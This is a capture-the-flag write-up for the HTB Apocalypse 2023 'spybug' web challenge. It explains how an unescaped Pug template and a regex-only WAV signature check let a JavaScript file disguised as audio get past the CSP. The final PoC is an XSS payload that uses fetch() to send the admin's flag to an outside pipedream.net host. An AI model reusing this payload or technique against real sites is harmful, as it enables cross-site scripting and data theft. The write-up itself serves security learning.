HTB apocalypse CTF 2023 spybug Write Up
2023-03-23 22:13:49

spybug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
require("dotenv").config();

const fs = require("fs");
const path = require("path");
const express = require("express");
const session = require("express-session");

const { createAdmin } = require("./utils/database");
const { visitPanel } = require("./utils/adminbot");

const genericRoutes = require("./routes/generic");
const panelRoutes = require("./routes/panel");
const agentRoutes = require("./routes/agents");

const application = express();

const uploadsPath = path.join(__dirname, "uploads");

if (!fs.existsSync(uploadsPath)) fs.mkdirSync(uploadsPath);

application.use("/uploads", express.static(uploadsPath));
application.use("/static", express.static(path.join(__dirname, "static")));

application.use(express.urlencoded({ extended: true }));
application.use(express.json());

application.use(
session({
secret: 'asdf',
resave: true,
saveUninitialized: true,
})
);

application.use((req, res, next) => {
res.setHeader("Content-Security-Policy", "script-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'none';");
res.setHeader("Cache-Control", "no-cache, no-store, must-revalidate");
res.setHeader("Pragma", "no-cache");
res.setHeader("Expires", "0");
next();
});

application.set("view engine", "pug");

application.use(genericRoutes);
application.use(panelRoutes);
application.use(agentRoutes);

application.listen(process.env.API_PORT, "0.0.0.0", async () => {
console.log(`Listening on port ${process.env.API_PORT}`);
});

createAdmin();
setInterval(visitPanel, 60000);

In the main code, we can see that the admin bot connects every 60 seconds, and that CSP is applied to this service.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
exports.visitPanel = async () => {
try {
const browser = await puppeteer.launch(browserOptions);
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();

await page.goto("http://0.0.0.0:" + process.env.API_PORT, {
waitUntil: "networkidle2",
timeout: 5000,
});

await page.type("#username", "admin");
await page.type("#password", process.env.ADMIN_SECRET);
await page.click("#loginButton");

await page.waitForTimeout(5000);
await browser.close();
} catch (e) {
console.log(e);
}
};

The admin bot logs in with the admin account every 60 seconds, stays in the service for 5 seconds, and then closes the browser.

1
2
3
4
5
6
7
8
9
10
router.get("/panel", authUser, async (req, res) => {
res.render("panel", {
username:
req.session.username === "admin"
? process.env.FLAG
: req.session.username,
agents: await getAgents(),
recordings: await getRecordings(),
});
});

the flag is set as an environment variable, and this flag is rendered in /panel if you have an administrator’s session.

in the end, to get the flag, we have to log in with the admin account. But we can’t get admin’s account in this challenge.

let’s think. The admin visits the challenge server every 60 seconds, logs in, connects to /panel, and stays there for 5 seconds. if XSS vulnerability occurs in /panel, we can hijack the flag when admin visits

1
2
3
4
5
6
7
8
res.render("panel", {
username:
req.session.username === "admin"
? process.env.FLAG
: req.session.username,
agents: await getAgents(),
recordings: await getRecordings(),
});

let’s look at /panel router code. in addition to username, values such as agents and recordings are also rendered on the web page

1
2
3
td !{agent.hostname}
td !{agent.platform}
td !{agent.arch}

the panel.pug file has the same snippet as above. Add the received agents to the td tag one by one. since there is no separate HTML Entity processing here, we will be able to insert the XSS payload into the value of hostname or platform or arch.

1
script-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'none';

but we know that the CSP of this service is applied as above. since script-src is set to self, if the file upload of this challenge service is possible, we will be able to bypass CSP by uploading the poc file and using it.

I tried uploading the poc.js file as above, but I could see that a strange 400 error occurred.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const multerUpload = multer({
storage: storage,
fileFilter: (req, file, cb) => {
if (
file.mimetype === "audio/wave" &&
path.extname(file.originalname) === ".wav"
) {
cb(null, true);
} else {
return cb(null, false);
}
},
});

// (...)

router.post(
"/agents/upload/:identifier/:token",
authAgent,
multerUpload.single("recording"),
async (req, res) => {
if (!req.file) return res.sendStatus(400);

const filepath = path.join("./uploads/", req.file.filename);
const buffer = fs.readFileSync(filepath).toString("hex");

if (!buffer.match(/52494646[a-z0-9]{8}57415645/g)) {
fs.unlinkSync(filepath);
return res.sendStatus(400);
}

await createRecording(req.params.identifier, req.file.filename);
res.send(req.file.filename);
}
);

so i decided to analyze the file upload logic. Uploading files was done using the multer module.

1
2
3
4
if (!buffer.match(/52494646[a-z0-9]{8}57415645/g)) {
fs.unlinkSync(filepath);
return res.sendStatus(400);
}

i was able to confirm that the above regular expression exists in the file upload router /agents/upload/:identifier/:token.

after reading the contents of the uploaded file and converting it to a hex value, it is checked whether there is a value matching the above regular expression in this value.


this regular expression is the logic to check the signature code of the wav file. This is because the wav file has a signature code called RIFF/WAVE as shown above.

as above, when I inserted the signature code of the wav file and uploaded the file, I could see that it worked normally.

1
2
3
setTimeout(() => {
fetch(`https://591d128f7a785b47477306206135146f.m.pipedream.net/?flag=${document.getElementsByTagName('h2')[0].innerText}`)
}, 1500);//RIFF1234WAVE

the final PoC is as above

i inserted the XSS payload into the hostname using the user information function, and i could see that it was normally inserted.

if you do this process as it is on the problem server, you can obtain the flag as above.

Prev
2023-03-23 22:13:49
Next